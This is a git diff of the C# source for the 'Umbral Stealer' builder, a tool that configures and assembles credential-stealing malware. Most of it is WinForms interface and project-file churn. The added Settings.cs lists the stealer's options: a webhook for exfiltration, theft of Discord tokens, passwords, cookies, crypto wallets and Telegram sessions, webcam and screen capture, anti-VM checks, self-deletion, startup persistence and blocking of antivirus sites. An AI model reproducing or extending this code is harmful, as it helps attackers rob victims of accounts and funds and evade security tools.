System.EventHandler(this.GeneralTabButton_Click); - // - // FrontPanel - // - this.FrontPanel.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - this.FrontPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.FrontPanel.Controls.Add(this.DropperTab); - this.FrontPanel.Controls.Add(this.aboutTab); - this.FrontPanel.Controls.Add(this.builderTab); - this.FrontPanel.Controls.Add(this.assemblyTab); - this.FrontPanel.Controls.Add(this.generalTab); - this.FrontPanel.Cursor = System.Windows.Forms.Cursors.Default; - resources.ApplyResources(this.FrontPanel, "FrontPanel"); - this.FrontPanel.Name = "FrontPanel"; - // - // DropperTab - // - this.DropperTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - resources.ApplyResources(this.DropperTab, "DropperTab"); - this.DropperTab.Name = "DropperTab"; - // - // aboutTab - // - this.aboutTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - resources.ApplyResources(this.aboutTab, "aboutTab"); - this.aboutTab.Name = "aboutTab"; - // - // builderTab - // - this.builderTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - resources.ApplyResources(this.builderTab, "builderTab"); - this.builderTab.ForeColor = System.Drawing.SystemColors.ControlText; - this.builderTab.Name = "builderTab"; - // - // assemblyTab - // - this.assemblyTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - resources.ApplyResources(this.assemblyTab, "assemblyTab"); - this.assemblyTab.Name = "assemblyTab"; - // - // generalTab - // - this.generalTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - resources.ApplyResources(this.generalTab, "generalTab"); - this.generalTab.Name = "generalTab"; - // - // MainForm - // - resources.ApplyResources(this, "$this"); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.Controls.Add(this.FrontPanel); - this.Controls.Add(this.MenuPanel); - this.Cursor = System.Windows.Forms.Cursors.Default; - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D; - this.MaximizeBox = false; - this.Name = "MainForm"; - this.ShowIcon = false; - this.Load += new System.EventHandler(this.Form1_Load); - this.MenuPanel.ResumeLayout(false); - this.panel1.ResumeLayout(false); - this.FrontPanel.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.Panel MenuPanel; - private System.Windows.Forms.Panel FrontPanel; - private System.Windows.Forms.Button GeneralTabButton; - private System.Windows.Forms.Panel panel1; - private System.Windows.Forms.Button BuilderTabButton; - private System.Windows.Forms.Button AssemblyTabButton; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Button AboutTabButton; - private System.Windows.Forms.Button SoonTabButton; - private GeneralTab generalTab; - private BuilderTab builderTab; - private AssemblyTab assemblyTab; - private User_Controls.AboutTab aboutTab; - private Soon DropperTab; - } -} - diff --git a/Umbral.builder/MainForm.cs b/Umbral.builder/MainForm.cs deleted file mode 100644 index bf72a98..0000000 --- a/Umbral.builder/MainForm.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Umbral.builder -{ - public partial class MainForm : Form - { - public MainForm() - { - InitializeComponent(); - } - - [DllImport("DwmApi")] //System.Runtime.InteropServices - static extern private int DwmSetWindowAttribute(IntPtr hwnd, int attr, int[] attrValue, int attrSize); - - protected override void OnHandleCreated(EventArgs e) - { - if (DwmSetWindowAttribute(Handle, 19, new[] { 1 }, 4) != 0) - DwmSetWindowAttribute(Handle, 20, new[] { 1 }, 4); - } - - private void GeneralTabButton_Click(object sender, EventArgs e) - { - - assemblyTab.Hide(); - builderTab.Hide(); - aboutTab.Hide(); - DropperTab.Hide(); - - generalTab.Show(); - } - - private void AssemblyTabButton_Click(object sender, EventArgs e) - { - generalTab.Hide(); - builderTab.Hide(); - aboutTab.Hide(); - DropperTab.Hide(); - - assemblyTab.Show(); - } - - private void BuilderTabButton_Click(object sender, EventArgs e) - { - generalTab.Hide(); - assemblyTab.Hide(); - aboutTab.Hide(); - DropperTab.Hide(); - - builderTab.Show(); - } - - private void DropperTabButton_Click(object sender, EventArgs e) - { - generalTab.Hide(); - assemblyTab.Hide(); - builderTab.Hide(); - aboutTab.Hide(); - - DropperTab.Show(); - } - - private void AboutTabButton_Click(object sender, EventArgs e) - { - generalTab.Hide(); - assemblyTab.Hide(); - builderTab.Hide(); - DropperTab.Hide(); - - aboutTab.Show(); - } - - private void Form1_Load(object sender, EventArgs e) - { - assemblyTab.Hide(); - builderTab.Hide(); - aboutTab.Hide(); - DropperTab.Hide(); - - generalTab.Show(); - } - } -} \ No newline at end of file diff --git a/Umbral.builder/MainForm.resx b/Umbral.builder/MainForm.resx deleted file mode 100644 index 2180236..0000000 --- a/Umbral.builder/MainForm.resx +++ /dev/null @@ -1,536 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - - Top - - - Flat - - - - Microsoft Sans Serif, 12pt - - - 0, 1 - - - 219, 95 - - - - 3 - - - About - - - AboutTabButton - - - System.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - panel1 - - - 0 - - - Bottom - - - Flat - - - Microsoft Sans Serif, 12pt - - - 0, 95 - - - 219, 95 - - - 2 - - - Soon... - - - SoonTabButton - - - System.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - panel1 - - - 1 - - - Top - - - 0, 0 - - - 219, 1 - - - 0 - - - label1 - - - System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - panel1 - - - 2 - - - Fill - - - 0, 285 - - - 219, 190 - - - 3 - - - panel1 - - - System.Windows.Forms.Panel, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MenuPanel - - - 0 - - - Top - - - Flat - - - Microsoft Sans Serif, 12pt - - - 0, 190 - - - 219, 95 - - - 2 - - - Builder - - - BuilderTabButton - - - System.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MenuPanel - - - 1 - - - Top - - - Flat - - - Microsoft Sans Serif, 12pt - - - 0, 95 - - - 219, 95 - - - 1 - - - Assembly - - - AssemblyTabButton - - - System.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MenuPanel - - - 2 - - - Top - - - Flat - - - Microsoft Sans Serif, 12pt - - - 0, 0 - - - 219, 95 - - - 0 - - - General - - - GeneralTabButton - - - System.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MenuPanel - - - 3 - - - Left - - - 0, 0 - - - 221, 477 - - - 0 - - - MenuPanel - - - System.Windows.Forms.Panel, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - $this - - - 1 - - - 0, -1 - - - 667, 477 - - - 4 - - - DropperTab - - - Umbral.builder.User_Controls.Soon, Umbral Builder, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null - - - FrontPanel - - - 0 - - - Fill - - - 0, 0 - - - 665, 475 - - - 3 - - - aboutTab - - - Umbral.builder.User_Controls.AboutTab, Umbral Builder, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null - - - FrontPanel - - - 1 - - - Fill - - - 0, 0 - - - 665, 475 - - - 2 - - - builderTab - - - Umbral.builder.User_Controls.BuilderTab, Umbral Builder, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null - - - FrontPanel - - - 2 - - - Fill - - - 0, 0 - - - 665, 475 - - - 1 - - - assemblyTab - - - Umbral.builder.User_Controls.AssemblyTab, Umbral Builder, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null - - - FrontPanel - - - 3 - - - Fill - - - 0, 0 - - - 3, 4, 3, 4 - - - 665, 475 - - - 0 - - - generalTab - - - Umbral.builder.User_Controls.GeneralTab, Umbral Builder, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null - - - FrontPanel - - - 4 - - - Fill - - - 221, 0 - - - 667, 477 - - - 1 - - - FrontPanel - - - System.Windows.Forms.Panel, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - $this - - - 0 - - - True - - - 6, 13 - - - 888, 477 - - - 908, 520 - - - CenterScreen - - - Umbral Stealer (Builder) - - - MainForm - - - System.Windows.Forms.Form, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Umbral.builder/Program.cs b/Umbral.builder/Program.cs index 96ca42d..e2aaa2c 100644 --- a/Umbral.builder/Program.cs +++ b/Umbral.builder/Program.cs @@ -1,19 +1,22 @@ using System; +using System.Collections.Generic; +using System.Linq; using System.Windows.Forms; +using Umbral.builder.Components.Forms; namespace Umbral.builder { internal static class Program { /// - /// The main entry point for the application. + /// The main entry point for the application. /// [STAThread] - static private void Main() + static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new MainForm()); } } -} \ No newline at end of file +} diff --git a/Umbral.builder/Properties/AssemblyInfo.cs b/Umbral.builder/Properties/AssemblyInfo.cs index 1fd5eed..2cd2e4b 100644 --- a/Umbral.builder/Properties/AssemblyInfo.cs +++ b/Umbral.builder/Properties/AssemblyInfo.cs @@ -1,15 +1,16 @@ using System.Reflection; +using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("Umbral Builder")] +[assembly: AssemblyTitle("Umbral.builder")] [assembly: AssemblyDescription("Builder for Umbral Stealer")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Umbral Builder")] -[assembly: AssemblyCopyright("Copyright © 2023 Blank-c")] +[assembly: AssemblyProduct("Umbral.builder")] +[assembly: AssemblyCopyright("Copyright © Blank-c 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -19,7 +20,7 @@ [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("41a2ad95-749b-4c06-8711-caab7c5db3bc")] +[assembly: Guid("c8bb4bc3-944b-43a1-8a0c-e2a258dc190f")] // Version information for an assembly consists of the following four values: // @@ -32,4 +33,4 @@ // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Umbral.builder/Properties/Resources.Designer.cs b/Umbral.builder/Properties/Resources.Designer.cs index bb6fcc5..c5f0f70 100644 --- a/Umbral.builder/Properties/Resources.Designer.cs +++ b/Umbral.builder/Properties/Resources.Designer.cs @@ -1,6 +1,7 @@ //------------------------------------------------------------------------------ // // This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. @@ -18,7 +19,7 @@ namespace Umbral.builder.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -58,5 +59,25 @@ internal Resources() { resourceCulture = value; } } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap fluent_emoji_flat_red_circle { + get { + object obj = ResourceManager.GetObject("fluent_emoji_flat_red_circle", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap fluent_emoji_flat_yellow_circle { + get { + object obj = ResourceManager.GetObject("fluent_emoji_flat_yellow_circle", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } } } diff --git a/Umbral.builder/Properties/Resources.resx b/Umbral.builder/Properties/Resources.resx index e8efbb2..df3473f 100644 --- a/Umbral.builder/Properties/Resources.resx +++ b/Umbral.builder/Properties/Resources.resx @@ -1,122 +1,127 @@  - - - + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\resources\fluent-emoji-flat_red-circle.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\fluent-emoji-flat_yellow-circle.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/Umbral.builder/Properties/Settings.Designer.cs b/Umbral.builder/Properties/Settings.Designer.cs index 671d696..a18941e 100644 --- a/Umbral.builder/Properties/Settings.Designer.cs +++ b/Umbral.builder/Properties/Settings.Designer.cs @@ -1,6 +1,7 @@ //------------------------------------------------------------------------------ // // This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. @@ -11,7 +12,7 @@ namespace Umbral.builder.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.5.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Umbral.builder/Properties/Settings.settings b/Umbral.builder/Properties/Settings.settings index 2283737..abf36c5 100644 --- a/Umbral.builder/Properties/Settings.settings +++ b/Umbral.builder/Properties/Settings.settings @@ -1,7 +1,7 @@  - - - - + + + + diff --git a/Umbral.builder/Properties/licenses.licx b/Umbral.builder/Properties/licenses.licx new file mode 100644 index 0000000..0059564 --- /dev/null +++ b/Umbral.builder/Properties/licenses.licx @@ -0,0 +1,16 @@ +Bunifu.UI.WinForms.BunifuShadowPanel, Bunifu.UI.WinForms.BunifuShadowPanel, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuCheckBox, Bunifu.UI.WinForms.BunifuCheckBox, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuColorTransition, Bunifu.UI.WinForms.BunifuColorTransition, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuFormDock, Bunifu.UI.WinForms.BunifuFormDock, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuGradientPanel, Bunifu.UI.WinForms.BunifuGradientPanel, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuVSlider, Bunifu.UI.WinForms.BunifuSlider, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuRadioButton, Bunifu.UI.WinForms.BunifuRadioButton, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuPanel, Bunifu.UI.WinForms.BunifuPanel, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuGroupBox, Bunifu.UI.WinForms.BunifuGroupBox, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuDatePicker, Bunifu.UI.WinForms.BunifuDatePicker, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuDropdown, Bunifu.UI.WinForms.BunifuDropdown, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuSeparator, Bunifu.UI.WinForms.BunifuSeparator, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuLabel, Bunifu.UI.WinForms.BunifuLabel, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuTextBox, Bunifu.UI.WinForms.BunifuTextBox, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuImageButton, Bunifu.UI.WinForms.BunifuImageButton, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 +Bunifu.UI.WinForms.BunifuButton.BunifuButton, Bunifu.UI.WinForms.BunifuButton, Version=4.1.1.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9 diff --git a/Umbral.builder/Resources/fluent-emoji-flat_red-circle.png b/Umbral.builder/Resources/fluent-emoji-flat_red-circle.png new file mode 100644 index 0000000..f158473 Binary files /dev/null and b/Umbral.builder/Resources/fluent-emoji-flat_red-circle.png differ diff --git a/Umbral.builder/Resources/fluent-emoji-flat_yellow-circle.png b/Umbral.builder/Resources/fluent-emoji-flat_yellow-circle.png new file mode 100644 index 0000000..d4f0d58 Binary files /dev/null and b/Umbral.builder/Resources/fluent-emoji-flat_yellow-circle.png differ diff --git a/Umbral.builder/logo.ico b/Umbral.builder/Resources/logo.ico similarity index 100% rename from Umbral.builder/logo.ico rename to Umbral.builder/Resources/logo.ico diff --git a/Umbral.builder/Settings.cs b/Umbral.builder/Settings.cs new file mode 100644 index 0000000..1b30180 --- /dev/null +++ b/Umbral.builder/Settings.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Umbral.builder.Components.Utilities; + +namespace Umbral.builder +{ + internal static class Settings + { + + // General Settings + internal static string Webhook { get; set; } + internal static string Version { get; private set; } + internal static string Mutex { get; private set; } + internal static bool Ping { get; set; } + internal static bool Startup { get; set; } + internal static bool AntiVm { get; set; } + internal static bool Melt { get; set; } + internal static bool BlockAvSites { get; set; } + + internal static bool StealDiscordTokens { get; set; } + internal static bool StealPasswords { get; set; } + internal static bool StealCookies { get; set; } + internal static bool StealGames { get; set; } + internal static bool StealTelegramSessions { get; set; } + internal static bool StealSystemInfo { get; set; } + internal static bool StealWallets { get; set; } + + internal static bool TakeWebcamSnapshot { get; set; } + internal static bool TakeScreenshot { get; set; } + + // Icon + internal static string IconPath { get; set; } + + // Assembly + internal static string CompanyName { get; set; } + internal static string FileDescription { get; set; } + internal static string ProductName { get; set; } + internal static string LegalCopyright { get; set; } + internal static string LegalTrademarks { get; set; } + internal static string InternalName { get; set; } + internal static string OriginalFilename { get; set; } + + + static Settings() + { + Version = "v1.3"; + Mutex = Common.GenerateRandomString(20); + } + } +} diff --git a/Umbral.builder/Umbral.builder.csproj b/Umbral.builder/Umbral.builder.csproj index b8e6c91..a6249a7 100644 --- a/Umbral.builder/Umbral.builder.csproj +++ b/Umbral.builder/Umbral.builder.csproj @@ -1,189 +1,228 @@  - - - Debug - AnyCPU - {41A2AD95-749B-4C06-8711-CAAB7C5DB3BC} - WinExe - Umbral.builder - Umbral Builder - v4.7.2 - 512 - true - true - publish\ - true - Disk - false - Foreground - 7 - Days - false - false - true - 0 - 1.0.0.%2a - false - false - true - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - Umbral.builder.Program - - - logo.ico - - - - - true - - - - ..\packages\jose-jwt.4.1.0\lib\net472\jose-jwt.dll - - - - ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.dll - - - ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.Mdb.dll - - - ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.Pdb.dll - - - ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.Rocks.dll - - - - - - - - - - - ..\packages\Vestris.ResourceLib.2.1.0\lib\net45\Vestris.ResourceLib.dll - - - - - - - UserControl - - - AboutTab.cs - - - UserControl - - - AssemblyTab.cs - - - UserControl - - - BuilderTab.cs - - - Form - - - MainForm.cs - - - UserControl - - - Soon.cs - - - UserControl - - - GeneralTab.cs - - - - - AboutTab.cs - - - AssemblyTab.cs - - - BuilderTab.cs - - - Soon.cs - - - GeneralTab.cs - - - MainForm.cs - - - ResXFileCodeGenerator - Resources.Designer.cs - Designer - - - True - Resources.resx - - - - - SettingsSingleFileGenerator - Settings.Designer.cs - - - True - Settings.settings - True - - - - - False - Microsoft .NET Framework 4.7.2 %28x86 and x64%29 - true - - - False - .NET Framework 3.5 SP1 - false - - - - - - - - del "$(TargetDir)*.xml" - + + + Debug + AnyCPU + {C8BB4BC3-944B-43A1-8A0C-E2A258DC190F} + WinExe + Umbral.builder + Umbral.builder + v4.7.2 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + Resources\logo.ico + + + + libs\Bunifu\Bunifu.Licensing.dll + + + libs\Bunifu\Bunifu.UI.WinForms.1.5.3.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuButton.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuCheckBox.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuCircleProgress.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuColorTransition.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuDataGridView.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuDatePicker.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuDropdown.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuFormDock.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuGauge.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuGradientPanel.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuGroupBox.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuImageButton.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuLabel.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuPages.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuPanel.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuPictureBox.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuProgressBar.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuRadioButton.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuRating.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuScrollBar.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuSeparator.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuShadowPanel.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuShapes.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuSlider.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuSnackbar.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuTextBox.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuToggleSwitch.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuToolTip.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuTransition.dll + + + libs\Bunifu\Bunifu.UI.WinForms.BunifuUserControl.dll + + + libs\Bunifu\Bunifu.UI.WinForms.Deprecated.dll + + + ..\packages\jose-jwt.4.1.0\lib\net472\jose-jwt.dll + + + + ..\packages\Mono.Cecil.0.11.5\lib\net40\Mono.Cecil.dll + + + ..\packages\Mono.Cecil.0.11.5\lib\net40\Mono.Cecil.Mdb.dll + + + ..\packages\Mono.Cecil.0.11.5\lib\net40\Mono.Cecil.Pdb.dll + + + ..\packages\Mono.Cecil.0.11.5\lib\net40\Mono.Cecil.Rocks.dll + + + + + + + + + + + + + + + + + ..\packages\Vestris.ResourceLib.2.1.0\lib\net45\Vestris.ResourceLib.dll + + + + + + + Form + + + AssemblyEditorForm.cs + + + Form + + + MainForm.cs + + + + + + + AssemblyEditorForm.cs + + + MainForm.cs + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + \ No newline at end of file diff --git a/Umbral.builder/User Controls/AboutTab.Designer.cs b/Umbral.builder/User Controls/AboutTab.Designer.cs deleted file mode 100644 index b0e624f..0000000 --- a/Umbral.builder/User Controls/AboutTab.Designer.cs +++ /dev/null @@ -1,164 +0,0 @@ -namespace Umbral.builder.User_Controls -{ - partial class AboutTab - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutTab)); - this.aboutLabel1 = new System.Windows.Forms.Label(); - this.githubButton = new System.Windows.Forms.Button(); - this.label1 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.SuspendLayout(); - // - // aboutLabel1 - // - this.aboutLabel1.AutoSize = true; - this.aboutLabel1.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.aboutLabel1.ForeColor = System.Drawing.Color.Crimson; - this.aboutLabel1.Location = new System.Drawing.Point(9, 88); - this.aboutLabel1.Name = "aboutLabel1"; - this.aboutLabel1.Size = new System.Drawing.Size(502, 24); - this.aboutLabel1.TabIndex = 0; - this.aboutLabel1.Text = "This application is completely open source and free to use."; - // - // githubButton - // - this.githubButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.githubButton.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("githubButton.BackgroundImage"))); - this.githubButton.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; - this.githubButton.FlatAppearance.BorderSize = 0; - this.githubButton.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.githubButton.Location = new System.Drawing.Point(613, 415); - this.githubButton.Name = "githubButton"; - this.githubButton.Size = new System.Drawing.Size(34, 34); - this.githubButton.TabIndex = 1; - this.githubButton.UseVisualStyleBackColor = true; - this.githubButton.Click += new System.EventHandler(this.githubButton_Click); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 36F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Underline))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.BlueViolet; - this.label1.Location = new System.Drawing.Point(3, 14); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(471, 55); - this.label1.TabIndex = 2; - this.label1.Text = "UMBRAL STEALER"; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F); - this.label2.ForeColor = System.Drawing.Color.Cyan; - this.label2.Location = new System.Drawing.Point(9, 369); - this.label2.Name = "label2"; - this.label2.Size = new 